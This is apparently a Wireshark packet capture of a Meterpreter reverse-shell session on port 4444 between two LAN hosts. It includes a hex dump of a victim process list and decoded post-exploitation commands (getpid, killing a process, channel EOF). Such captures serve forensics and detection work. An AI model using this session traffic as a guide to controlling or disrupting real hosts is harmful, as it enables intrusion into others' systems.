0770  65 78 65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c   exe....^@.......
0780  00 02 08 fc 00 00 25 18 00 00 00 24 00 01 04 12   ......%....$....
0790  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
07a0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 13   emi-usuario.....
07b0  00 01 08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00   ....chrome.exe..
07c0  00 00 13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78   .......chrome.ex
07d0  65 00 00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02   e....^@.........
07e0  08 fc 00 00 24 1c 00 00 00 24 00 01 04 12 73 66   ....$....$....sf
07f0  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0800  69 2d 75 73 75 61 72 69 6f 00 00 00 00 13 00 01   i-usuario.......
0810  08 fd 63 68 72 6f 6d 65 2e 65 78 65 00 00 00 00   ..chrome.exe....
0820  13 00 01 08 fe 63 68 72 6f 6d 65 2e 65 78 65 00   .....chrome.exe.
0830  00 00 00 60 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...`@...........
0840  00 00 27 f8 00 00 00 24 00 01 04 12 73 66 63 70   ..'....$....sfcp
0850  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0860  75 73 75 61 72 69 6f 00 00 00 00 14 00 01 08 fd   usuario.........
0870  64 6c 6c 68 6f 73 74 2e 65 78 65 00 00 00 00 14   dllhost.exe.....
0880  00 01 08 fe 64 6c 6c 68 6f 73 74 2e 65 78 65 00   ....dllhost.exe.
0890  00 00 00 5a 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...Z@...........
08a0  00 00 26 08 00 00 00 24 00 01 04 12 73 66 63 70   ..&....$....sfcp
08b0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
08c0  75 73 75 61 72 69 6f 00 00 00 00 11 00 01 08 fd   usuario.........
08d0  43 6f 64 65 2e 65 78 65 00 00 00 00 11 00 01 08   Code.exe........
08e0  fe 43 6f 64 65 2e 65 78 65 00 00 00 00 5a 40 00   .Code.exe....Z@.
08f0  08 ff 00 00 00 0c 00 02 08 fc 00 00 26 d8 00 00   ............&...
0900  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
0910  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0920  6f 00 00 00 00 11 00 01 08 fd 43 6f 64 65 2e 65   o.........Code.e
0930  78 65 00 00 00 00 11 00 01 08 fe 43 6f 64 65 2e   xe.........Code.
0940  65 78 65 00 00 00 00 5a 40 00 08 ff 00 00 00 0c   exe....Z@.......
0950  00 02 08 fc 00 00 27 c4 00 00 00 24 00 01 04 12   ......'....$....
0960  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0970  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 11   emi-usuario.....
0980  00 01 08 fd 43 6f 64 65 2e 65 78 65 00 00 00 00   ....Code.exe....
0990  11 00 01 08 fe 43 6f 64 65 2e 65 78 65 00 00 00   .....Code.exe...
09a0  00 5a 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .Z@.............
09b0  26 cc 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   &....$....sfcpro
09c0  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
09d0  75 61 72 69 6f 00 00 00 00 11 00 01 08 fd 43 6f   uario.........Co
09e0  64 65 2e 65 78 65 00 00 00 00 11 00 01 08 fe 43   de.exe.........C
09f0  6f 64 65 2e 65 78 65 00 00 00 00 5a 40 00 08 ff   ode.exe....Z@...
0a00  00 00 00 0c 00 02 08 fc 00 00 29 2c 00 00 00 24   ..........),...$
```

```
0a10  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0a20  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0a30  00 00 00 11 00 01 08 fd 43 6f 64 65 2e 65 78 65   ........Code.exe
0a40  00 00 00 00 11 00 01 08 fe 43 6f 64 65 2e 65 78   .........Code.ex
0a50  65 00 00 00 00 5a 40 00 08 ff 00 00 00 0c 00 02   e....Z@.........
0a60  08 fc 00 00 22 fc 00 00 00 24 00 01 04 12 73 66   ...."....$....sf
0a70  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0a80  69 2d 75 73 75 61 72 69 6f 00 00 00 00 11 00 01   i-usuario.......
0a90  08 fd 43 6f 64 65 2e 65 78 65 00 00 00 00 11 00   ..Code.exe......
0aa0  01 08 fe 43 6f 64 65 2e 65 78 65 00 00 00 00 6e   ...Code.exe....n
0ab0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 2a 04   @............*.
0ac0  00 00 00 24 00 01 04 12 73 66 63 70 72 6f 33 2d   ...$....sfcpro3-
0ad0  63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61   chemi\chemi-usua
0ae0  72 69 6f 00 00 00 00 1b 00 01 08 fd 53 79 73 74   rio.........Syst
0af0  65 6d 53 65 74 74 69 6e 67 73 2e 65 78 65 00 00   emSettings.exe..
0b00  00 00 1b 00 01 08 fe 53 79 73 74 65 6d 53 65 74   .......SystemSet
0b10  74 69 6e 67 73 2e 65 78 65 00 00 00 00 5e 40 00   tings.exe....^@.
0b20  08 ff 00 00 00 0c 00 02 08 fc 00 00 0e 30 00 00   .............0..
0b30  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
0b40  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0b50  6f 00 00 00 00 13 00 01 08 fd 63 68 72 6f 6d 65   o.........chrome
0b60  2e 65 78 65 00 00 00 00 13 00 01 08 fe 63 68 72   .exe.........chr
0b70  6f 6d 65 2e 65 78 65 00 00 00 00 68 40 00 08 ff   ome.exe....h@...
0b80  00 00 00 0c 00 02 08 fc 00 00 25 c0 00 00 00 24   ..........%....$
0b90  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0ba0  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0bb0  00 00 00 18 00 01 08 fd 73 6d 61 72 74 73 63 72   ........smartscr
0bc0  65 65 6e 2e 65 78 65 00 00 00 00 18 00 01 08 fe   een.exe.........
0bd0  73 6d 61 72 74 73 63 72 65 65 6e 2e 65 78 65 00   smartscreen.exe.
0be0  00 00 00 60 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...`@...........
0bf0  00 00 25 88 00 00 00 24 00 01 04 12 73 66 63 70   ..%....$....sfcp
0c00  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0c10  75 73 75 61 72 69 6f 00 00 00 00 14 00 01 08 fd   usuario.........
0c20  6e 6f 74 65 70 61 64 2e 65 78 65 00 00 00 00 14   notepad.exe.....
0c30  00 01 08 fe 6e 6f 74 65 70 61 64 2e 65 78 65 00   ....notepad.exe.
0c40  00 00 00 76 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...v@...........
0c50  00 00 21 e4 00 00 00 24 00 01 04 12 73 66 63 70   ..!....$....sfcp
0c60  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0c70  75 73 75 61 72 69 6f 00 00 00 00 1f 00 01 08 fd   usuario.........
0c80  62 61 63 6b 67 72 6f 75 6e 64 54 61 73 6b 48 6f   backgroundTaskHo
0c90  73 74 2e 65 78 65 00 00 00 00 1f 00 01 08 fe 62   st.exe.........b
0ca0  61 63 6b 67 72 6f 75 6e 64 54 61 73 6b 48 6f 73   ackgroundTaskHos
0cb0  74 2e 65 78 65 00 00 00 00 4a 40 00 08 ff 00 00   t.exe....J@.....
0cc0  00 0c 00 02 08 fc 00 00 15 6c 00 00 00 0c 00 01   .........l......
0cd0  04 12 4e 2f 41 00 00 00 00 15 00 01 08 fd 57 6d   ..N/A.........Wm
0ce0  69 50 72 76 53 45 2e 65 78 65 00 00 00 00 15 00   iPrvSE.exe......
0cf0  01 08 fe 57 6d 69 50 72 76 53 45 2e 65 78 65 00   ...WmiPrvSE.exe.
0d00  00 00 00 58 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...X@...........
0d10  00 00 17 a4 00 00 00 24 00 01 04 12 73 66 63 70   .......$....sfcp
0d20  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0d30  75 73 75 61 72 69 6f 00 00 00 00 10 00 01 08 fd   usuario.........
0d40  63 6d 64 2e 65 78 65 00 00 00 00 10 00 01 08 fe   cmd.exe.........
0d50  63 6d 64 2e 65 78 65 00 00 00 00 60 40 00 08 ff   cmd.exe....`@...
0d60  00 00 00 0c 00 02 08 fc 00 00 26 40 00 00 00 24   ..........&@...$
0d70  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0d80  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0d90  00 00 00 14 00 01 08 fd 63 6f 6e 68 6f 73 74 2e   ........conhost.
0da0  65 78 65 00 00 00 00 14 00 01 08 fe 63 6f 6e 68   exe.........conh
0db0  6f 73 74 2e 65 78 65 00 00 00 00 62 40 00 08 ff   ost.exe....b@...
0dc0  00 00 00 0c 00 02 08 fc 00 00 24 64 00 00 00 24   ..........$d...$
0dd0  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0de0  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0df0  00 00 00 15 00 01 08 fd 74 61 73 6b 6c 69 73 74   ........tasklist
0e00  2e 65 78 65 00 00 00 00 15 00 01 08 fe 74 61 73   .exe.........tas
0e10  6b 6c 69 73 74 2e 65 78 65 00 00 00 00 0c 00 02   klist.exe.......
0e20  00 04 00 00 00 00                                 ......
```

```
    202 3794.308719    192.168.1.42          192.168.1.41          MTRPROT  137    4444 → 50768 [PSH, ACK] Seq=10143 Ack=47227
Win=182 Len=83
Frame 202: 137 bytes on wire (1096 bits), 137 bytes captured (1096 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 10143, Ack: 47227, Len: 83
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000053 [Command length]: 83
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000002200010001737464617069 5f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 000000220001000173746461706 95f7379735f70726f6365... [TLV]
    Command: 0x00000022 [Length]: 34
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6765747069... [Value] stdapi_sys_process_getpid
Meterpreter protocol, TLV details
    Data: 00000029000100023438383138363431383735333132343433... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3438383138363431383735333132343332303731383130 32... [Value] 48818641875312432071810224954840
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7b 64 a9 40 00 40 06 52 30 c0 a8 01 2a c0 a8   .{d.@.@.R0...*..
0020  01 29 11 5c c6 50 2e 7d 3a 12 a3 79 55 d1 50 18   .).\.P.}:..yU.P.
0030  00 b6 84 11 00 00 00 00 00 53 00 00 00 00 00 00   .........S......
0040  00 22 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   ."....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 67 65 74 70 69 64 00   _process_getpid.
0060  00 00 00 29 00 01 00 02 34 38 38 31 38 36 34 31   ...)....48818641
0070  38 37 35 33 31 32 34 33 32 30 37 31 38 31 30 32   8753124320718102
0080  32 34 39 35 34 38 34 30 00                        24954840.
```

```
    203 3794.309591    192.168.1.41          192.168.1.42          MTRPROT  161    50768 → 4444 [PSH, ACK] Seq=47227 Ack=10226 
Win=2049 Len=107
Frame 203: 161 bytes on wire (1288 bits), 161 bytes captured (1288 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 47227, Ack: 10226, Len: 107
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000006b [Command length]: 107
    Type: 0x00000001 [Command type: Response]: 1
    Data: 000000220001000173746461706695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 000000220001000173746461706695f7379735f70726f6365... [TLV]
    Command: 0x00000022 [Length]: 34
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6765747069... [Value] stdapi_sys_process_getpid
Meterpreter protocol, TLV details
    Data: 0000002900010002343838313836343138373533313234333... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 343838313836343138373533313234333230373138313032... [Value] 48818641875312432071810224954840
Meterpreter protocol, TLV details
    Data: 0000000c000208fc00000a [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x000208fc [Type: Response]: TLV_TYPE_PID
    Data: 00000a40 [Value] 2624
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 93 0d e0 40 00 80 06 68 e1 c0 a8 01 29 c0 a8   ....@...h....)..
0020  01 2a c6 50 11 5c a3 79 55 d1 2e 7d 3a 65 50 18   .*.P.\.yU..}:eP.
0030  08 01 d8 b7 00 00 00 00 00 6b 00 00 00 01 00 00   .........k......
0040  00 22 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   ."....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 67 65 74 70 69 64 00   _process_getpid.
0060  00 00 00 29 00 01 00 02 34 38 38 31 38 36 34 31   ...)....48818641
0070  38 37 35 33 31 32 34 33 32 30 37 31 38 31 30 32   8753124320718102
0080  32 34 39 35 34 38 34 30 00 00 00 00 0c 00 02 08   24954840........
0090  fc 00 00 0a 40 00 00 00 0c 00 02 00 04 00 00 00   ....@...........
00a0  00                                                .
```

```
    204 3794.452985    192.168.1.42          192.168.1.41          MTRPROT  147    4444 → 50768 [PSH, ACK] Seq=10226 Ack=47334
Win=182 Len=93
Frame 204: 147 bytes on wire (1176 bits), 147 bytes captured (1176 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 10226, Ack: 47334, Len: 93
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005d [Command length]: 93
    Type: 0x00000000 [Command type: Request]: 0
    Data: 00000020000100017374646170695f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000020000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000020 [Length]: 32
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6b696c6c00 [Value] stdapi_sys_process_kill
Meterpreter protocol, TLV details
    Data: 000000290001000239383332393433343838383134373138... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 393833323934333438383831343731383333373433303530... [Value] 98329434888147183374305065659986
Meterpreter protocol, TLV details
    Data: 0000000c000208fc000025 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x000208fc [Type: Request]: TLV_TYPE_PID
    Data: 00002588 [Value] 9608
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 85 64 ab 40 00 40 06 52 24 c0 a8 01 2a c0 a8   ..d.@.@.R$...*..
0020  01 29 11 5c c6 50 2e 7d 3a 65 a3 79 56 3c 50 18   .).\.P.}:e.yV<P.
0030  00 b6 84 1b 00 00 00 00 00 5d 00 00 00 00 00 00   .........]......
0040  00 20 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   . ....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 6b 69 6c 6c 00 00 00   _process_kill...
0060  00 29 00 01 00 02 39 38 33 32 39 34 33 34 38 38   .)....9832943488
0070  38 31 34 37 31 38 33 33 37 34 33 30 35 30 36 35   8147183374305065
0080  36 35 39 39 38 36 00 00 00 00 0c 00 02 08 fc 00   659986..........
0090  00 25 88                                          .%.
```

```
    205 3794.865557    192.168.1.41          192.168.1.42          MTRPROT  147    50768 → 4444 [PSH, ACK] Seq=47334 Ack=10319
Win=2048 Len=93
Frame 205: 147 bytes on wire (1176 bits), 147 bytes captured (1176 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 47334, Ack: 10319, Len: 93
Meterpreter protocol, Command details here or in the tree below
    Command: 0x0000005d [Command length]: 93
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000002000010001737464617069 5f7379735f70726f6365... [Command payload]
Meterpreter protocol, TLV details
    Data: 00000020000100017374646170695f7379735f70726f6365... [TLV]
    Command: 0x00000020 [Length]: 32
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 7374646170695f7379735f70726f636573735f6b696c6c00 [Value] stdapi_sys_process_kill
Meterpreter protocol, TLV details
    Data: 00000029000100023938333239343334383838313437313 8... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 39383332393433343838383134373138333337343330353 0... [Value] 98329434888147183374305065659986
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000000 [Value] OK
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 85 0d e2 40 00 80 06 68 ed c0 a8 01 29 c0 a8   ....@...h....)..
0020  01 2a c6 50 11 5c a3 79 56 3c 2e 7d 3a c2 50 18   .*.P.\.yV<.}:.P.
0030  08 00 78 79 00 00 00 00 00 5d 00 00 00 01 00 00   ..xy.....]......
0040  00 20 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   . ....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 6b 69 6c 6c 00 00 00   _process_kill...
0060  00 29 00 01 00 02 39 38 33 32 39 34 33 34 38 38   .)....9832943488
0070  38 31 34 37 31 38 33 33 37 34 33 30 35 30 36 35   8147183374305065
0080  36 35 39 39 38 36 00 00 00 00 0c 00 02 00 04 00   659986..........
0090  00 00 00                                          ...
```

```
    206 3855.194100    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=10319 Ack=47427
Win=182 Len=86
Frame 206: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 10319, Ack: 47427, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 00000029000100023632343737383032363534373832303038... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 3632343737383032363534373832303832303935333631363136... [Value] 62477802654782082095361694324103
Meterpreter protocol, TLV details
    Data: 0000000c0002003200000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 ad 40 00 40 06 52 29 c0 a8 01 2a c0 a8   .~d.@.@.R)...*..
0020  01 29 11 5c c6 50 2e 7d 3a c2 a3 79 56 99 50 18   .).\.P.}:..yV.P.
0030  00 b6 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 36   el_eof....)....6
0060  32 34 37 37 38 30 32 36 35 34 37 38 32 30 38 32   2477802654782082
0070  30 39 35 33 36 31 36 39 34 33 32 34 31 30 33 00   095361694324103.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    207 3855.195039    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=47427 Ack=10405 
Win=2048 Len=86
Frame 207: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 47427, Ack: 10405, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002363234373738303236353437383230 38... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 3632343737383032363534373832303832303935333631 36... [Value] 6247780265478208209536169432410 3
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d e3 40 00 80 06 68 f3 c0 a8 01 29 c0 a8   .~..@...h....)..
0020  01 2a c6 50 11 5c a3 79 56 99 2e 7d 3b 18 50 18   .*.P.\.yV..};.P.
0030  08 00 34 73 00 00 00 00 00 56 00 00 00 01 00 00   ..4s.....V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 36   el_eof....)....6
0060  32 34 37 37 38 30 32 36 35 34 37 38 32 30 38 32   2477802654782082
0070  30 39 35 33 36 31 36 39 34 33 32 34 31 30 33 00   095361694324103.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    208 3915.527398    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=10405 Ack=47513
Win=182 Len=86
Frame 208: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: CadmusCo_cd:55:8f (08:00:27:cd:55:8f), Dst: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c)
Internet Protocol Version 4, Src: 192.168.1.42, Dst: 192.168.1.41
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 50768 (50768), Seq: 10405, Ack: 47513, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000000 [Command type: Request]: 0
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002313831353136353534333236353231303... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
    Data: 31383135313635353433323635323130303732373038333... [Value] 18151655432652100727083757630297
Meterpreter protocol, TLV details
    Data: 0000000c00020032000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
    Data: 00000000 [Value] OK
0000  4c 0b be 1f f2 4c 08 00 27 cd 55 8f 08 00 45 00   L....L..'.U...E.
0010  00 7e 64 af 40 00 40 06 52 27 c0 a8 01 2a c0 a8   .~d.@.@.R'...*..
0020  01 29 11 5c c6 50 2e 7d 3b 18 a3 79 56 ef 50 18   .).\.P.};..yV.P.
0030  00 b6 84 14 00 00 00 00 00 56 00 00 00 00 00 00   .........V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 31   el_eof....)....1
0060  38 31 35 31 36 35 35 34 33 32 36 35 32 31 30 30   8151655432652100
0070  37 32 37 30 38 33 37 35 37 36 33 30 32 39 37 00   727083757630297.
0080  00 00 00 0c 00 02 00 32 00 00 00 00               .......2....
```

```
    209 3915.527983    192.168.1.41          192.168.1.42          MTRPROT  140    50768 → 4444 [PSH, ACK] Seq=47513 Ack=10491 
Win=2048 Len=86
Frame 209: 140 bytes on wire (1120 bits), 140 bytes captured (1120 bits) on interface 0
Ethernet II, Src: Microsof_1f:f2:4c (4c:0b:be:1f:f2:4c), Dst: CadmusCo_cd:55:8f (08:00:27:cd:55:8f)
Internet Protocol Version 4, Src: 192.168.1.41, Dst: 192.168.1.42
Transmission Control Protocol, Src Port: 50768 (50768), Dst Port: 4444 (4444), Seq: 47513, Ack: 10491, Len: 86
Meterpreter protocol, Command details here or in the tree below
    Command: 0x00000056 [Command length]: 86
    Type: 0x00000001 [Command type: Response]: 1
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66... [Command payload]
Meterpreter protocol, TLV details
    Data: 0000001900010001636f72655f6368616e6e656c5f656f66 [TLV]
    Command: 0x00000019 [Length]: 25
    Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
    Data: 636f72655f6368616e6e656c5f656f6600 [Value] core_channel_eof
Meterpreter protocol, TLV details
    Data: 0000002900010002313831353136353534333236353231303... [TLV]
    Command: 0x00000029 [Length]: 41
    Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
    Data: 313831353136353534333236353231303037323730383337... [Value] 18151655432652100727083757630297
Meterpreter protocol, TLV details
    Data: 0000000c00020004000000 [TLV]
    Command: 0x0000000c [Length]: 12
    Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
    Data: 00000001 [Value] ERROR
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  00 7e 0d e5 40 00 80 06 68 f1 c0 a8 01 29 c0 a8   .~..@...h....)..
0020  01 2a c6 50 11 5c a3 79 56 ef 2e 7d 3b 6e 50 18   .*.P.\.yV..};nP.
0030  08 00 24 dc 00 00 00 00 00 56 00 00 00 01 00 00   ..$......V......
0040  00 19 00 01 00 01 63 6f 72 65 5f 63 68 61 6e 6e   ......core_chann
0050  65 6c 5f 65 6f 66 00 00 00 00 29 00 01 00 02 31   el_eof....)....1
0060  38 31 35 31 36 35 35 34 33 32 36 35 32 31 30 30   8151655432652100
0070  37 32 37 30 38 33 37 35 37 36 33 30 32 39 37 00   727083757630297.
0080  00 00 00 0c 00 02 00 04 00 00 00 01               ............
```

```
    210 3975.980910    192.168.1.42          192.168.1.41          MTRPROT  140    4444 → 50768 [PSH, ACK] Seq=10491 Ack=47599 
Win=182 Len=86
